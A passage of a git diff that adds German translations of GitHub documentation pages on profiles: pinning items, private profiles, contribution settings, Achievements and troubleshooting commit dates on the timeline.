+4. Um ein bestimmtes Element leichter zu finden, kannst du optional den Namen eines Benutzers, einer Organisation, eines Repositorys oder eines Gists eingeben.
+    ![Filtern von Elementen](/assets/images/help/profile/pinned-repo-search.png)
+5. Wähle eine Kombination von bis zu sechs Repositorys und/oder Gists zum Anzeigen aus.
+    ![Auswählen von Elementen](/assets/images/help/profile/select-items-to-pin.png)
+6. Klicke auf **Angeheftete Elemente speichern**.
+    ![Schaltfläche zum Speichern angehefteter Elemente](/assets/images/help/profile/save-pinned-repositories.png)
+
+## Weitere Informationsquellen
+
+- [Informationen zu deinem Profil](/articles/about-your-profile)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md
new file mode 100644
index 0000000000..84693969c5
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md
@@ -0,0 +1,62 @@
+---
+title: Festlegen deines Profils auf privat
+intro: Ein privates Profil zeigt nur eingeschränkte Informationen an und blendet einige Aktivitäten aus.
+versions:
+  fpt: '*'
+topics:
+  - Profiles
+shortTitle: Set profile to private
+ms.openlocfilehash: c00718c84d99de95a9ca1352f32954279906451d
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148008151'
+---
+## Informationen zu privaten Profilen
+
+Um Teile deiner Profilseite auszublenden, kannst du dein Profil auf privat setzen. Dadurch wird auch deine Aktivität bei verschiedenen sozialen Features auf {% data variables.product.prodname_dotcom_the_website %} ausgeblendet. Bei einem privaten Profil werden alle Informationen für Benutzer*innen ausgeblendet. Aktuell gibt es keine Option, mit der nur bestimmte Benutzer*innen deine Aktivität sehen können.
+
+Nachdem du dein Profil auf privat gesetzt hast, kannst du weiterhin alle deine Informationen anzeigen, wenn du dein eigenes Profil besuchst.
+
+Private Profile können keine Sponsoren unter [{% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors) erhalten. Um für {% data variables.product.prodname_sponsors %} zu sein, darf dein Profil nicht auf privat gesetzt sein.
+
+## Unterschiede zwischen privaten und öffentlichen Profilen
+
+Wenn dein Profil auf privat gesetzt ist, wird der folgende Inhalt auf deiner Profilseite ausgeblendet:
+
+- Erfolge und Highlights
+- Aktivitätsübersicht und Aktivitätsfeed
+- Beitragsdiagramm
+- Anzahl der Follower und der Personen, denen du folgst
+- Schaltflächen „Folgen“ und „Sponsern“
+- Organisationsmitgliedschaften
+- Sterne, Projekte, Pakete und Sponsorenregisterkarten
+
+{% note %}
+
+**Hinweis**: Wenn dein Profil auf privat gesetzt ist, sind einige optionale Felder immer noch öffentlich sichtbar, z. B. die README-Datei, die Biografie und das Profilfoto.
+
+{% endnote %}
+
+## Änderungen an der Berichterstattung über deine Aktivitäten
+
+Indem du dein Profil auf privat setzt, entfernst du die vergangenen Aktivitäten nicht und blendest sie nicht aus. Diese Einstellung gilt nur für deine Aktivitäten, während die private Einstellung aktiviert ist.
+
+Wenn dein Profil auf privat gesetzt ist, ist deine Aktivität auf {% data variables.product.prodname_dotcom_the_website %} an folgenden Orten nicht sichtbar:
+
+- Aktivitätsfeeds für andere Benutzer*innen
+- Diskussionsleaderboards
+- Auf der Seite [Trending](https://github.com/trending)
+
+{% note %}
+
+**Hinweis**: Deine Aktivität in öffentlichen Repositorys ist immer noch für alle, die diese Repositorys aufrufen, öffentlich sichtbar, und manche Aktivitätsdaten können noch über die {% data variables.product.prodname_dotcom %}-API verfügbar sein.
+
+{% endnote %}
+
+## Ändern der Privatsphäreeinstellungen deines Profils
+
+{% data reusables.user-settings.access_settings %}
+1. Wähle unter „Beiträge & Aktivität“ das Kontrollkästchen neben **Profil auf privat setzen und Aktivitäten ausblenden** aus.
+{% data reusables.user-settings.update-preferences %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md
new file mode 100644
index 0000000000..b6eecf5425
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md
@@ -0,0 +1,25 @@
+---
+title: Einrichten und Verwalten deines GitHub-Profils
+intro: Du kannst dein GitHub-Profil anpassen und dein Beitragsdiagramm verwalten.
+shortTitle: Profiles
+redirect_from:
+  - /categories/setting-up-and-managing-your-github-profile
+  - /github/setting-up-and-managing-your-github-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+children:
+  - /customizing-your-profile
+  - /managing-contribution-settings-on-your-profile
+ms.openlocfilehash: 3901682d8723e2bdbe2351b7e1f39ccb34971cac
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146199922'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md
new file mode 100644
index 0000000000..293561b49a
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md
@@ -0,0 +1,30 @@
+---
+title: Verwalten von Beitragseinstellungen in deinem Profil
+intro: 'Deine Beiträge, darunter Commits, vorgeschlagene Pull Requests und geöffnete Issues, werden in deinem Profil angezeigt, damit andere Personen deine Arbeit leicht finden können.'
+redirect_from:
+  - /articles/managing-contribution-graphs-on-your-profile
+  - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile
+  - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+children:
+  - /viewing-contributions-on-your-profile
+  - /showing-an-overview-of-your-activity-on-your-profile
+  - /showing-your-private-contributions-and-achievements-on-your-profile
+  - /sending-enterprise-contributions-to-your-githubcom-profile
+  - /why-are-my-contributions-not-showing-up-on-my-profile
+  - /troubleshooting-commits-on-your-timeline
+shortTitle: Manage contribution settings
+ms.openlocfilehash: 022a9afdb91a5c65cea12c4bbeef5c4ba9673be6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147881211'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
new file mode 100644
index 0000000000..729291ccad
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
@@ -0,0 +1,64 @@
+---
+title: Senden von Unternehmensbeiträgen an dein GitHub.com-Profil
+intro: 'Du kannst deine Arbeiten auf {% data variables.product.prodname_enterprise %} hervorheben, indem du die Anzahl deiner Beiträge an dein {% data variables.product.prodname_dotcom_the_website %}-Profil sendest.'
+redirect_from:
+  - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile
+  - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile
+  - /articles/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile
+  - /github/setting-up-and-managing-your-github-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile
+  - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile
+  - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: Send enterprise contributions
+ms.openlocfilehash: 6fb1803f3a93dd03af24ce9ea3f360e579d7dbd1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147079944'
+---
+## Informationen zu Unternehmensbeiträgen zu deinem {% data variables.product.prodname_dotcom_the_website %}-Profil
+
+In deinem {% data variables.product.prodname_dotcom_the_website %}-Profil wird die Anzahl der {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %}-Beiträge der letzten 90 Tage angezeigt. Die {% data reusables.github-connect.sync-frequency %}-Beiträge von {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} gelten als private Beiträge. Die Commitdetails enthalten nur die Beitragsanzahl und dass diese Beiträge in einer {% data variables.product.prodname_enterprise %}-Umgebung außerhalb von {% data variables.product.prodname_dotcom_the_website %} vorgenommen wurden.
+
+Du entscheidest, ob die Anzahl privater Beiträge auf deinem Profil angezeigt werden soll. Weitere Informationen findest du unter [Veröffentlichen oder Ausblenden deiner privaten Beiträge in deinem Profil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/).
+
+Weitere Informationen dazu, wie Beiträge berechnet werden, findest du unter [Verwalten von Beitragsdiagrammen auf deinem Profil](/articles/managing-contribution-graphs-on-your-profile/).
+
+{% note %}
+
+**Hinweise:**
+- Die Verbindungen zwischen deinen Konten werden durch die [Datenschutzbestimmungen von GitHub](/free-pro-team@latest/github/site-policy/github-privacy-statement/) geregelt, und Benutzer*innen, die solche Verbindungen erlauben, sind mit den [Nutzungsbedingungen von GitHub](/free-pro-team@latest/github/site-policy/github-terms-of-service) einverstanden.
+
+- Damit du dein {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %}-Profil mit deinem {% data variables.product.prodname_dotcom_the_website %}-Profil verbinden kannst, muss der Unternehmensbesitzer {% data variables.product.prodname_github_connect %} aktivieren und die Beitragsfreigabe zwischen den Umgebungen aktivieren. Für weitere Informationen hierzu wendest du dich an deinen Unternehmensbesitzer.
+
+{% endnote %}
+
+## Senden von Unternehmensbeiträgen zu deinem {% data variables.product.prodname_dotcom_the_website %}-Profil
+
+{% ifversion fpt or ghec %}
+
+- Informationen zum Senden von Unternehmensbeiträgen von {% data variables.product.prodname_ghe_server %} an dein {% data variables.product.prodname_dotcom_the_website %}-Profil findest du unter [Senden von Unternehmensbeiträgen an dein {% data variables.product.prodname_dotcom_the_website %}-Profil](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile) in der Dokumentation zu {% data variables.product.prodname_ghe_server %}.
+- Informationen zum Senden von Unternehmensbeiträgen von {% data variables.product.prodname_ghe_managed %} an dein {% data variables.product.prodname_dotcom_the_website %}-Profil findest du unter [Senden von Unternehmensbeiträgen an dein {% data variables.product.prodname_dotcom_the_website %}-Profil](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile) in der Dokumentation zu {% data variables.product.prodname_ghe_managed %}.
+
+{% elsif ghes %}
+
+1. Melde dich bei {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_dotcom_the_website %} an.
+1. Klicke rechts oben auf einer {% data variables.product.prodname_ghe_server %}-Seite auf dein Profilfoto und dann auf **Einstellungen**.
+   ![Symbol „Einstellungen“ auf der Benutzerleiste](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %}
+1. Überprüfe die Ressourcen, auf die {% data variables.product.prodname_ghe_server %} von deinem {% data variables.product.prodname_dotcom_the_website %}-Konto zugreifen wird, und klicke dann auf **Autorisieren**.
+   ![Autorisieren der Verbindung zwischen GitHub Enterprise Server und GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) {% data reusables.github-connect.send-contribution-counts-to-githubcom %}
+
+{% elsif ghae %}
+
+1. Melde dich bei {% data variables.product.prodname_ghe_managed %} und {% data variables.product.prodname_dotcom_the_website %} an.
+1. Klicke rechts oben auf einer {% data variables.product.prodname_ghe_managed %}-Seite auf dein Profilfoto und dann auf **Einstellungen**.
+   ![Symbol „Einstellungen“ auf der Benutzerleiste](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} {% data reusables.github-connect.authorize-connection %} {% data reusables.github-connect.send-contribution-counts-to-githubcom %}
+
+{% endif %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md
new file mode 100644
index 0000000000..43c5584795
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md
@@ -0,0 +1,30 @@
+---
+title: Übersicht über Ihre Aktivitäten in Ihrem Profil anzeigen
+intro: 'In deinem Profil kannst du die Aktivitätsübersicht aktivieren, in der Betrachter eine Übersicht über die Art deiner Beiträge erhalten.'
+redirect_from:
+  - /articles/showing-an-overview-of-your-activity-on-your-profile
+  - /github/setting-up-and-managing-your-github-profile/showing-an-overview-of-your-activity-on-your-profile
+  - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile
+  - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: Show an overview
+ms.openlocfilehash: a706c476cad8a2474ff1971dc8d81e680cf5c5c3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147079955'
+---
+{% data reusables.profile.activity-overview-summary %} Weitere Informationen findest Du unter "[Anzeigen von Beiträgen auf Deinem Profil](/articles/viewing-contributions-on-your-profile)."
+
+![Aktivitätsübersicht im Profil](/assets/images/help/profile/activity-overview-section.png)
+
+{% data reusables.profile.access_profile %}
+2. Verwende über Deinem Beitragsdiagramm das Dropdownmenü **Contribution settings** (Beitragseinstellungen), und aktiviere oder deaktiviere die Auswahl **Activity overview** (Aktivitätsübersicht).
+ ![Aktivieren der Aktivitätsübersicht im Dropdownmenü „Contribution settings“ (Beitragseinstellungen)](/assets/images/help/profile/activity-overview.png)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md
new file mode 100644
index 0000000000..e88e940a1c
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md
@@ -0,0 +1,55 @@
+---
+title: Showing your private contributions and achievements on your profile
+intro: 'Your {% data variables.product.product_name %} profile shows a graph of your repository contributions over the past year. You can choose to show anonymized activity from {% ifversion fpt or ghes or ghec %}private and internal{% else %}private{% endif %} repositories{% ifversion fpt or ghes or ghec %} in addition to the activity from public repositories{% endif %}.'
+redirect_from:
+  - /articles/publicizing-or-hiding-your-private-contributions-on-your-profile
+  - /github/setting-up-and-managing-your-github-profile/publicizing-or-hiding-your-private-contributions-on-your-profile
+  - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile
+  - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: Private contributions and achievements
+---
+
+If you publicize your private contributions, people without access to the private repositories you work in won't be able to see the details of your private contributions. Instead, they'll see the number of private contributions you made on any given day. Your public contributions will include detailed information. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)."
+
+{% note %}
+
+**Note:** {% ifversion fpt or ghes or ghec %}On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, public contributions on your profile are visible {% ifversion fpt or ghec %}to anyone in the world who can access {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}only to other users of {% data variables.location.product_location%}{% endif %}.{% elsif ghae %}On {% data variables.product.prodname_ghe_managed %}, only other members of your enterprise can see the contributions on your profile.{% endif %}
+
+{% endnote %}
+
+## Changing the visibility of your private contributions
+
+{% data reusables.profile.access_profile %}
+1. Publicize or hide your private contributions on your profile:
+    - To publicize your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and select **Private contributions**. Visitors will see your private contribution counts without further details.
+  ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-on.png)
+    - To hide your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and unselect **Private contributions.** Visitors will only see your public contributions.
+   ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-off.png)
+
+## Changing the visibility of Achievements
+
+{% data reusables.user-settings.access_settings %}
+1. Show or hide Achievements on your profile:
+    - To show Achievements on your profile, navigate to **Profile settings**, and select the checkbox next to **Show Achievements on my profile.**
+  ![Enable visitors to see Achievements from profile settings](/assets/images/help/profile/achievements-profile-settings-off.png)
+    - To hide Achievements from your profile, navigate to **Profile settings**, and unselect the checkbox next to **Show Achievements on my profile.**
+  ![Hide Achievements from visitors in profile settings](/assets/images/help/profile/achievements-profile-settings-on.png)
+{% ifversion hide-individual-achievements %}
+1. Optionally, to hide individual Achievements from your profile:
+    {% data reusables.profile.access_profile %}
+     1. Navigate to the Achievements section on the left sidebar of your profile and select the Achievements header. ![Achievements on profile sidebar](/assets/images/help/profile/achievements-on-profile.png)
+     2. Open the detail view of the achievement you'd like to hide by clicking on the achievement.
+     3. Once in the detail view, click the {% octicon "eye" aria-label="The eye icon" %} icon to hide the achievement. ![Achievement detail view](/assets/images/help/profile/achievements-detail-view.png) When hidden, badges will be marked by the {% octicon "eye-closed" aria-label="The eye closed icon" %} icon and are only visible to you. ![Hidden achievements](/assets/images/help/profile/achievements-hidden.png)
+
+{% endif %}
+## Further reading
+
+- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)"
+- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md
new file mode 100644
index 0000000000..3cc9bc747d
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md
@@ -0,0 +1,75 @@
+---
+title: Fehlerbehebung bei Commits auf Ihrer Zeitleiste
+intro: 'Details zu einzelnen Commits findest Du in der Zeitleiste Deines Profils. Wenn Du in Deinem Profil respektive auf der Profilseite keine Details zu einem erwarteten Commit findest, weichen das Erstellungs- und das Commit-Datum des Commits eventuell voneinander ab.'
+redirect_from:
+  - /articles/troubleshooting-commits-on-your-timeline
+  - /github/setting-up-and-managing-your-github-profile/troubleshooting-commits-on-your-timeline
+  - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline
+  - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: Troubleshoot commits
+ms.openlocfilehash: 2a1c89fa158f562bc93e1c76489a077a43e410c3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147079914'
+---
+## Erwartetes Verhalten bei der Anzeige der Commit-Details über die Zeitleiste
+
+Wenn Du in der Zeitleiste Deiner Profilseite neben einem Repository auf die Anzahl der Commits klickst, werden die Details zu Deinen Commits des betreffenden Zeitraums angezeigt, einschließlich eines Diffs der spezifischen Änderungen am Repository.
+
+![Commit-Link in der Zeitleiste des Profils](/assets/images/help/profile/commit-link-on-profile-timeline.png)
+
+![Commit-Details](/assets/images/help/commits/commit-details.png)
+
+## Fehlende Commit-Details in der Zeitleiste
+
+Wenn Du auf Deiner Profilseite auf einen Commit-Link klickst und auf der Commit-Seite des Repositorys nicht alle erwarteten Commits vorfindest, könnte es sein, dass der Commit-Verlauf in Git umgeschrieben wurde und das Erstellungs- und das Commit-Datum der Commits voneinander abweichen.
+
+![Repositoryseite mit der Meldung „Keine Commits für Octocat gefunden“](/assets/images/help/repository/no-commits-found.png)
+
+## So verwendet GitHub das Erstellungs- und Commit-Datum von Git
+
+In Git bezeichnet das Erstellungsdatum das Datum, an dem ein Commit ursprünglich mit dem Befehl `git commit` erstellt wurde. Das Commit-Datum ist mit diesem Datum identisch, solange der ursprüngliche Commit, und damit das Commit-Datum, nicht später durch `git commit --amend`, einen erzwungenen Push, ein Rebase oder einen anderen Git-Befehl geändert wurde.
+
+Auf Deiner Profilseite wird das Bearbeitungsdatum zur Berechnung des Commit-Datums verwendet. In einem Repository gilt dagegen das Commit-Datum als Erstellungsdatum des Commits im Repository.
+
+Meist sind das Verfassungs- und Commit-Datum identisch. Gelegentlich aber gerät die Commit-Abfolge durcheinander, wenn der Commit-Verlauf geändert wird. Weitere Informationen findest du unter [Warum werden meine Beiträge nicht auf meinem Profil angezeigt?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)
+
+## Fehlende Commit-Details in der Zeitleiste anzeigen
+
+Du kannst den `git show`-Befehl mit dem `--pretty=fuller`-Flag verwenden, um zu überprüfen, ob das Commit-Erstellungsdatum und das Commit-Datum unterschiedlich sind.
+
+```shell
+$ git show <em>Your commit SHA number</em> --pretty=fuller
+commit <em>Your commit SHA number</em>
+Author:     octocat <em>user email</em>
+AuthorDate: Tue Apr 03 02:02:30 2018 +0900
+Commit:     Sally Johnson <em>user email</em>
+CommitDate: Tue Apr 10 06:25:08 2018 +0900
+```
+
+Weichen das Erstellungs- und Commit-Datum voneinander ab, kannst Du das Commit-Datum in der URL manuell ändern, um die Commit-Details anzuzeigen.
+
+Zum Beispiel:
+- Die folgende URL verwendet das Erstellungsdatum `2018-04-03`:
+
+  `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-03T00:00:00Z&until=2018-04-03T23:59:59Z`
+- Die folgende URL verwendet das Commit-Datum `2018-04-10`:
+
+  `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-10T00:00:00Z&until=2018-04-10T23:59:59Z`
+
+Wenn Du die URL mit dem korrigierten Commit-Datum aufrufst, werden die Commit-Details angezeigt.
+
+![Commit-Details](/assets/images/help/commits/commit-details.png)
+
+## Wenn erwartete Commits in der Zeitleiste fehlen
+
+Wenn in Deiner Zeitleiste nicht alle erwarteten Commits angezeigt werden, könnte es sein, dass der Commit-Verlauf in Git umgeschrieben wurde und das Erstellungs- und das Commit-Datum der Commits voneinander abweichen. Andere Möglichkeiten findest du unter [Warum werden meine Beiträge nicht auf meinem Profil angezeigt?](/articles/why-are-my-contributions-not-showing-up-on-my-profile).
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md
new file mode 100644
index 0000000000..5581d21cd0
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md
@@ -0,0 +1,97 @@
+---
+title: Viewing contributions on your profile
+intro: 'Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories, Achievements, and{% endif %} a graph of your repository contributions over the past year.'
+redirect_from:
+  - /articles/viewing-contributions
+  - /articles/viewing-contributions-on-your-profile-page
+  - /articles/viewing-contributions-on-your-profile
+  - /github/setting-up-and-managing-your-github-profile/viewing-contributions-on-your-profile
+  - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: View contributions
+---
+{% ifversion fpt or ghes or ghec %}Your contribution graph and Achievements show activity from public repositories. {% endif %}You can choose to show activity from {% ifversion fpt or ghes or ghec %}both public and {% endif %}private repositories, with specific details of your activity in private repositories anonymized. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+
+{% note %}
+
+**Note:** Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your account on {% data variables.product.product_name %}. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
+
+{% endnote %}
+
+## What counts as a contribution
+
+On your profile page, certain actions count as contributions:
+
+- Committing to a repository's default branch or `gh-pages` branch
+- Opening an issue
+- Opening a discussion
+- Answering a discussion
+- Proposing a pull request
+- Submitting a pull request review{% ifversion ghes or ghae %}
+- Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %}
+
+{% data reusables.pull_requests.pull_request_merges_and_contributions %}
+
+## Popular repositories
+
+This section displays your repositories with the most watchers. {% ifversion fpt or ghes or ghec %}Once you [pin repositories to your profile](/articles/pinning-repositories-to-your-profile), this section will change to "Pinned repositories."{% endif %}
+
+![Popular repositories](/assets/images/help/profile/profile_popular_repositories.png)
+
+{% ifversion fpt or ghes or ghec %}
+
+## Pinned repositories
+
+This section displays up to six public repositories and can include your repositories as well as repositories you've contributed to. To easily see important details about the repositories you've chosen to feature, each repository in this section includes a summary of the work being done, the number of [stars](/articles/saving-repositories-with-stars/) the repository has received, and the main programming language used in the repository. For more information, see "[Pinning repositories to your profile](/articles/pinning-repositories-to-your-profile)."
+
+![Pinned repositories](/assets/images/help/profile/profile_pinned_repositories.png)
+
+{% endif %}
+
+## Contributions calendar
+
+Your contributions calendar shows your contribution activity.
+
+### Viewing contributions from specific times
+
+- Click on a day's square to show the contributions made during that 24-hour period.
+- Press *Shift* and click on another day's square to show contributions made during that time span.
+
+{% note %}
+
+**Note:** You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions.
+
+{% endnote %}
+
+![Your contributions graph](/assets/images/help/profile/contributions_graph.png)
+
+### How contribution event times are calculated
+
+Timestamps are calculated differently for commits and pull requests:
+- **Commits** use the time zone information in the commit timestamp. For more information, see "[Troubleshooting commits on your timeline](/articles/troubleshooting-commits-on-your-timeline)."
+- **Pull requests** and **issues** opened on {% data variables.product.product_name %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes).
+
+## Activity overview
+
+{% data reusables.profile.activity-overview-summary %} For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."
+
+![Activity overview section on profile](/assets/images/help/profile/activity-overview-section.png)
+
+The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)."
+
+## Contribution activity
+
+The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened.
+
+![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png)
+
+## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %}
+
